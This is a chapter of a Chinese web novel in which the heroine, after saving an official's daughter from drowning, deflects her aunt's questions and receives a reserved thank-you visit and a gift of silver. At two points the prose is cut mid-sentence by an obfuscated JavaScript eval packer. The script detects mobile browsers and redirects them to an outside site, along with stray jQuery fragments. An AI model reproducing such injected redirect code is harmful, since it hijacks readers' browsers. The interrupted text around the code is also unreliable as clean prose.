一个身影靠过来,她身上轻轻落下了一件披风。闻赋光这才发现,这件披风看似轻薄,实则保暖效果挺好。甜暖的香气裹着她,熏得她白日的酒意似乎有些上涌。 姜栀棠立在她对面,弯腰动手将领口的绳子系好,并贴心地绕开了伤口。动作间,手指不小心碰到了她的下巴。 闻赋光被痒得有点受不了,下意识地在他手背上蹭了蹭。 ......意识到自己做了什么,闻赋光呆滞了。 要怎么样才能用最快的速度钻个洞躲到地底去? 姜栀棠也没好到哪去,缓缓抽回了微微颤抖的手。两人火速分开,谁也没敢看对方,眼神闪躲,仿佛一瞬间都对雅间内的陈设产生了极为浓厚的兴趣。 闻赋光背对着他,几乎是扒着一人高的青花瓷瓶在仔细观摩,其严肃和认真,像是一个忙活了半辈子的匠人。 “这瓷瓶上的梅花,真,真蓝啊。” * 回闻府的路上,日头渐渐落下,橙黄的河在京城上空流淌,点点碎光在大道上跃动。 闻赋光靠坐在马车里,身上还披着披风,手边放着一盒香料。车上就她一个人,外头还有个车工。姜栀棠声称账目还没查完,先派自己的车马送她回闻府。 这如何使得,闻赋光想也不想就要拒绝。她巡逻这么久,贵人的车架也不少见。当朝郡君出门,恐怕要坐四匹马拉的超豪华彩舆。她如何能坐着它张扬地回闻府,这一路上必然要被无数人行注目礼,到时候马车一拐到了闻府门口,她姨母又要动脑筋了。 但姜栀棠好像提前知道她了的心思:“我平日出门不喜张扬,今日是坐油壁车出门的,不会引人注意。娘子今日落了水,回去的路上不要再受累了。” 这语言的艺术,如此贴心,闻赋光被说动了。早前她一直忙碌着不停下来倒还好,到锦绣坊这么一坐,疲惫就渐渐涌上来。她到底还是人而不是神仙,也会累的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757957|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 头一回见面时,她正是坐着他的马车进了城里,或许是因为那时出门在外,那辆车就很宽阔。而今日这辆的外表就有些平平无奇,钻进来一看,才发现里面别有洞天。坐榻上铺着厚厚的软垫,身后是厚锦缎的靠垫,脚底下还铺了柔软的氆氇。另外还有热腾腾的茶水和点心,实在是麻雀虽小,五脏俱全。 闻赋光惬意地伸了个懒腰,闭目养神。 人要想好好生活总要有个盼头,家产的事开了个头,顺利与否就全看媒公的专业能力了。她不再多虑,转而思索起了其他的事。 自穿越以来,她的生存危机始终没有消除,有一块大石头自始至终悬在她头上,不知道在什么时候,会以什么形式落下。按理说这种王朝大事,她不安也没有用,一位君王的上位需要天时、地利、人和,缺一不可,很多时候是命运使然。 但闻赋光还是想做些什么。 那日从石洞中凄惨地醒来,她心里始终憋着一口气,不管是出于个人情感还是立场,她都没办法放弃对姜栯这一派实施打击报复。 硬碰硬不行,闻赋光决定充分发挥主观能动性,先盯何长翊一段时间,看看有没有什么小辫子可以抓。 马车到了闻府角门外时天色已黑,附近没有其他人。闻赋光跳下马车,待门房开了门,往自己院子里去,将披风一脱,熏香放至桌上,便往姨母的院中去。 天色已晚,姨母今日若是没有外出的应酬,应该在书房里。 门外的侍从进去通报了,姨母果然在家,只是闻忠的身影依然没有出现在这里,不知是不是沉疴难愈。 “二娘,坐吧。”闻姨母知道她这么晚来书房定然是有事要说,又知道她这个侄女话不多,干脆省了寒暄,等她先开口。 闻赋光拉开椅子在闻姨母对面坐下,同样直入主题:“姨母,今日我在观河上救了个落水的孩童,待她上了岸,其姐告诉我她们是通政使徐帱之女。” “什么!”闻姨母听见“通政使徐帱”这五个字,神情认真了许多,连手上把玩着的核雕都放下了,抬起头有些急切地看着她:“说清楚些,什么时辰?” 闻赋光不卖关子,一五一十地说了出来:“姨母您是知道的,今日我是去赴五城兵马司指挥使陆大人那对双生孙儿的百日宴,宴席中途我喝到酒酣,就出了酒楼,打算沿着观河边走走。也是赶巧了,徐帱的幼女徐妙园恰好在那时掉进了河里。她的姐姐,即徐帱长女徐龄蕴在岸上非常着急,见我过去,便向我求助。情况紧急,我赶紧下水救了人,还好那孩子落水时间尚短,她除了受些惊吓,应当没什么大碍。” 闻姨母紧紧盯着她,闻言有些抑制不住的喜色:“你做得好!”思量后又道,“怎么在场的只有你们三个娘子?徐家那对姐妹身边没有仆从吗?” “没有。”闻赋光摇摇头,“我听徐龄蕴所言,她们两个是背着家人偷偷溜出门去的,当时正值午后,河边人少,没有其他人了。” 闻姨母点点头,闻赋光坐在对面看着她若有所思的神情,忽然意识到她犯了个错误:如同许多京城人一般,她也不应该会水。 15. 第 15 章 心念急转,闻赋光苦苦思索着对策,可她已经来不及为这事编个圆满的谎。这些年哪怕关系再不亲密,好歹她们还住在同一个府里,她若说是私底下学的,一定蒙混不过去,只好强行胡扯一番,但愿姨母不会深挖这样的细枝末节。 果然,闻姨母发问了:“你是如何救了那孩子?” 闻赋光作惭愧状:“侄女仗着学过些武艺,自恃比旁人能耐些,从一旁树上薅了几根枝条,绑在一起系在手上,想着一时半刻的应该断不了,拉着树枝就下了水。那孩子下河的时间不久,因而还飘在水面上,不曾完全沉下去,没有费太长时间就把人送上了岸。” 闻赋光说的都是真话,她确实是这么做的,只是她并没有全部都告诉闻姨母。可谓谎言的最高境界并不是把瞎话编得有多么天衣无缝,而是挑选部分事实,排列组合后呈现出来。 这话一出口,便看见闻姨母露出了不赞同的目光:“二娘,你胆子也太大了!即使你武艺不错,可凫水是凫水,这又有何干系?幸好你没事,不然我将来有什么面目去见你祖母和母亲?” 闻赋光讷讷认错,心里暗自松了口气,闻姨母其实也并不在乎她用了什么方法救人,对她来说“通政使”这三个字才是最有价值的,这一关总算是混了过去。 “你说岸上还有徐帱长女?她可曾说什么话?”果然,闻姨母很快揭过,转而问起了自己真正关心的问题。 “徐龄蕴说回去之后定会禀告母亲,择日携礼上闻府拜谢。” 闻姨母有些掩饰不住激动地点点头。想当年,与闻家祖上来往的也都是朝中勋爵与高官之家,只是最近的几十年已经没落,再没有祖上的荣光。如今,她正在盼望着闻家起复的希望。 闻赋光看着她的神情,决定还是不开口讨人嫌了。姨母现在犹如穷人乍富,幸福得有些晕乎,还是等她冷静下来自己复盘,再发觉其中关窍吧。 * 接近年底,各行各业都忙着出来冲业绩。闻赋光这两天骤然忙起来,好不容易休沐,一大清早被侍从拍醒时差点从床上跳起来。 这个侍从是院里管洒扫的,和她不熟,两人就没说过几句话,但做事还算稳重。此时面对闻赋光乱七八糟的举动,也只是小小后退了一步,低头道:“郎主身边的侍男方才来传话,说今日有贵客上门,要娘子准备起来了。” 闻家只有一位郎主,那就是姨母的夫郎,闻赋光称为姨父的,如今闻府打理家事的主夫宋氏。 上值上得精疲力尽后,珍贵的休沐日又轻易地化蝶飞走了,闻赋光绝望地起床,行尸走肉般完成了一系列洗漱工作,套了件崭新的衣袍,用过几口点心就往闻府的正院寸心堂飘去。 寸心堂是姨母和姨父的院子,今日会由姨父宋氏和她自己接待贵客,姨母不会出面。 说起今日有客来访,这事可是让闻姨母失望不已。 那日回了闻府,闻赋光向姨母禀告了救人的事。闻姨母先是一喜,赞闻赋光处事得当。过后又反应过来——她和闻赋光一样,对徐家和自家的差距有清晰的认知,知晓徐家必然不会因此事就与哪一方扯上了关系。同时,闻姨母又觉得能结个善缘也不错,闻家官小,徐帱可是三品大员,能有个机会交谈一番都是她们家赚了。 因此,闻姨母志得意满,原本是满心盼望徐家来人的,这样她好去套套近乎。 然而,她的算盘落空了。徐家是没两天就给闻家下了拜帖,可是拜帖上清楚地写着,徐家要来拜访的人不是徐帱,也不是任何一位女性长辈,而是徐家如今协助老郎主掌家的二房郎主韦氏。 这就把闻姨母纳闷坏了,闻家的娘子救了徐家的小娘子,徐家只派个爷们家家的来谢,还不是落水的那姑娘的亲爹,即徐帱的夫郎,还只是个姨父。这是要把这番交情硬是局限在后宅的意思啊!闻姨母相当不忿,一早就把接待的事交给了夫郎宋氏,自己干脆没在家。 闻赋光对此早有心理准备,也并不指望凭这一遭就能一飞冲天。收拾好休沐日被迫早起的忧郁的心情跨进了寸心堂。宋氏已经在正堂中了,他目不斜视,正坐得格外端庄。许是徐妙园身体还未恢复,这次她不会跟着来,因此与她年纪相仿的闻家四娘今日还是照常去上学,闻家两个郎君又都已嫁人了,只有闻赋光这个当事人跟着姨父一道接待。 宋氏是个柔弱贤惠得像个糯米团一样的传统男人,丝毫没有自己的主见,一向以妻为天,逆来顺受,妻主说往东他绝不往西,指哪打哪。妻主要他承担起接待徐家二房郎主的重任,他虽然从来没独立接待过这样的大人物,心里发怵,但还是硬着头皮接下了任务。此时看他四肢僵硬的样子,就知道这两天他有多紧张。 “姨父。”闻赋光行了个晚辈礼。 “二娘,你来了。”宋氏见她来,赶紧唤她,“你姨母嘱咐过姨父,今日接待客人要注重礼数,如今时辰差不多了,咱们去府门口迎接吧?” 虽然宋氏有些太过小心翼翼,但这一条倒是很合情理,并不出格。徐家的地位毕竟在那,闻家的郎主带着娘子在府门口迎接,并不为过,闻赋光应是。 宋氏其实并不擅长交际,他与闻赋光这一路出门,也没什么话,把气氛弄得有些尴尬。自打他嫁过来,头几年因为只有两个男儿,没能让妻主生个女儿来传宗接代,自觉对不起闻家,根本抬不起头做人。经历了数年越发煎熬,好容易才有了闻四娘子这一个宝贝疙瘩,那时候他也已经低头做人半辈子,腰再也直不起来了,便一直是这样谨小慎微的木讷性子。 两人一路无话,在门口站定,当约定的时间到来时,徐家的马车也停在了闻府门口。 轿帘缓缓掀开,轿子里不慌不忙地下来个约莫三十岁的男子,通身打扮极为低调。宋氏紧张地绞了绞帕子,要上前去迎,闻赋光看出点违和感,低声叫住他:“姨父!”并轻轻摇了摇头。 宋氏虽然自身不算很灵光,却也有个好处,他对自己没那么自信。若换了旁人,恐怕会不悦——毕竟闻赋光是小辈,他做什么要听她的?宋氏却不然,先止了步才疑惑地看过来。闻赋光用眼神示意他再等等。 果然,前头的男子下了车,又转身回去,朝着马车厢微微欠身道:“郎主。” 宋氏这才发觉那只是个仆从,袖中的手攥紧了帕子,羞惭之余暗道徐家到底是高门大户,连家仆都更气派从容。 一只素白的手伸了出来,接着是一身满绣的锦绣绫罗,有一名看不大出具体年龄的贵夫从车厢中低头出来,由身旁的侍男扶着下了马车。站定后,他掀起眼皮扫过闻府的牌匾、站在门口的宋氏与闻赋光并几名仆从,很快又移开,嘴角挂着一丝浅浅的弧度。 宋氏和闻赋光终于迎了上去,韦氏虽然神色倨傲,场面上的态度却尚可,口中倒还说了些花里胡哨的话。宋氏的性子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776227|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不会顶撞人的,二人谈得还算和谐。两位社交主力走在前头寒暄,闻赋光见过礼后便跟在他们身后装乖,比起宋氏,还是她更不会与韦氏寒暄,说多错多,不如闭嘴。 闻赋光原本以为起码徐家会让徐龄蕴跟着一起出门,连她也没想到今日居然只来了一位韦氏。 这些日子闻姨母打听过了,按理说,徐家合该是由徐帱的夫郎张氏掌家。不过张氏似乎总是抱恙,因此徐府的中馈一直是由徐帱之父,徐家老郎主担着,另外由二房的郎主韦氏协助。 只有部分管家权的韦氏前来闻府,听起来似乎是有些不够重视,可实际也差不多了——在徐家一心要此事定义为后宅内务的情况下。毕竟徐老郎主是长辈,若亲自出门来到闻府,那未免有些太过大动干戈;稍往下两位娘子的父亲又抱恙出不得门,便也只有韦氏了。 徐龄蕴和徐妙园都没来,闻赋光默默琢磨着其中深意,恐怕徐家比她预料的更不愿与姜榓扯上什么关系。 韦氏与宋氏聊的不外乎是“贵府真会教养娘子徐家十分感激今日特意上门感激二娘子救命之恩”和“哪里哪里您大驾光临真是让闻家蓬荜生辉您家的孩子是天生带着福命有上天保佑呢”...... 二人把两府中的小辈们夸得天上有地下无,不扯到其他的任何事,闻赋光时不时配合地自谦几句。韦氏好歹是代表徐家来送谢礼而非找茬的,并不想故意为难宋氏,谈话还是继续推进了下去,已经聊到了管家和应酬往来的心得。 韦氏倒还罢了,他把话题锁定在后宅之事身上,其中用意已经很明显。可姨父今日的表现,确实是让她大开眼界,闻赋光总觉得他似乎是提前演练过,背了不少恭维和自谦的话,或许这就是不善交际之人面对挑战的日常吧。 想必姨父之后会一五一十地告诉姨母,闻赋光过滤了二人毫无营养的关于妻夫关系、衣裳首饰、孩子等的谈话,忍不住开始神游天外。 韦氏喝过几盏茶,或许是得了吩咐,他走得极干脆,命身旁随行的侍从们留下了一个木匣,只说是给闻赋光的一些心意,赶在午前就要告辞。宋氏精心准备推敲过的菜谱立刻没了用武之地,他或许也没想到徐家来的人连顿饭也不用就要走,并没有提前准备好留客的话术,两叔侄只能眼睁睁地送走了韦氏。 送走了客人,剩下严阵以待的侍从们也作鸟兽散,宋氏要回自己屋里,闻赋光毫不客气地带着匣子回了大房。 有了差事之后,闻赋光手头算是有了俸禄这一项进账,但她月月光,根本攒不下来钱——开玩笑!她可是把脑袋提在裤腰带上过日子,存什么钱?届时像她上辈子一样,当牛做马后自己死了,银行卡里那些纵使微薄但饱含血泪的存款还不知道便宜了谁。 回了屋子关上门,她打开匣子一看,银光四射。匣子里是码得整整齐齐的银锭,一个银锭是十两,闻赋光数了数,里头共有五百两。 这些银子够一个普通百姓家过上十年,不过对于徐家这样的三品之家来说就没那么贵重了,这点钱还不至于让她家伤筋动骨。闻赋光对此表示满意,若是金额太大,徐府里有大笔的资金调动,难保要被嘴不严的下人传出去,引起旁人的议论总不是什么好事。五百两这个数额就正正好,对她这个月光族来说很多,同时恐怕在徐家也算不上是有多么罕见的大笔开支。 这一晚,闻赋光抱着匣子睡去,美得不知天地为何物。